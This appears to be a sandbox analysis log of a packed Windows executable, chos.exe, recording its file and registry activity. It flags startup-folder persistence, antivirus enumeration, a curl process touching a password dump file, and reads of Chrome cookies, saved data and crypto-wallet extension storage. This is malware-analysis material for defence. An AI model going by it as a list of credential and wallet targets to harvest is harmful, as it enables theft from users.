Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\charset_normalizer VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\charset_normalizer VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\charset_normalizer VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\charset_normalizer VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\charset_normalizer\md__mypyc.cp313-win_amd64.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\certifi VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Windows\System32\curl.exeQueries volume information: C:\Users\user\AppData\Local\Temp\crpasswords.txt VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Util VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\certifi VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography-44.0.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography-44.0.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography-44.0.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography-44.0.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography-44.0.0.dist-info\licenses VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\wheel-0.43.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DDD080 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00007FF666DDD080
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF5C70 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,0_2_00007FF666DF5C70
Source: C:\Windows\System32\curl.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

barindex
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\HistoryJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknnJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BookmarksJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknnJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.logJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhmJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjpJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjpJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
